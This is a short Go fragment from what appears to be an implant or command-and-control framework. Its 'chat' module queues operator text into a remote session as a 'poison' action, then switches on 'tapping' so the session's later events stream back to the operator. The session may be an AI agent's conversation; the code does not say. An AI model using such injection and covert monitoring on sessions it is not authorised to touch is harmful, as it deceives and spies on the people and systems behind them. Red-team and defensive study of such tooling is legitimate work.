(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite)
| 15 | func (m *ChatModule) Name() string { return "chat" } |
| 16 | |
| 17 | func (m *ChatModule) Handle(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite) { |
| 18 | req := spite.GetRequest() |
| 19 | if req == nil || req.Input == "" { |
| 20 | ctx.SendSpite(sessionID, taskID, execSpite("missing chat text")) |
| 21 | ctx.Tasks.Fail(sessionID, taskID, "missing chat text") |
| 22 | return |
| 23 | } |
| 24 | |
| 25 | msgID := sessions.GenerateCommandID() |
| 26 | action := &sessions.PendingAction{ |
| 27 | ID: msgID, |
| 28 | TaskID: taskID, |
| 29 | Type: sessions.ActionPoison, |
| 30 | Text: req.Input, |
| 31 | CreatedAt: time.Now(), |
| 32 | } |
| 33 | |
| 34 | if ctx.WaitForSession(sessionID, DefaultSessionTimeout) == nil { |
| 35 | log.Errorf("[bridge] failed to enqueue chat message for session %s: session not found", sessionID) |
| 36 | ctx.Tasks.Fail(sessionID, taskID, "session not found") |
| 37 | return |
| 38 | } |
| 39 | |
| 40 | if !sessions.Global().EnqueueAction(sessionID, action) { |
| 41 | log.Errorf("[bridge] failed to enqueue chat message for session %s", sessionID) |
| 42 | ctx.Tasks.Fail(sessionID, taskID, "enqueue failed") |
| 43 | return |
| 44 | } |
| 45 | |
| 46 | log.Infof("[bridge] enqueued chat task %d msg %s for session %s", taskID, msgID, sessionID) |
| 47 | |
| 48 | // Activate tapping so subsequent observe events are streamed back. |
| 49 | ctx.TappingSet(sessionID, taskID) |
| 50 | log.Infof("[bridge] tapping activated for chat session %s (taskID=%d)", sessionID, taskID) |
| 51 | |
| 52 | ctx.Tasks.Complete(sessionID, taskID) |
| 53 | } |
nothing calls this directly
no test coverage detected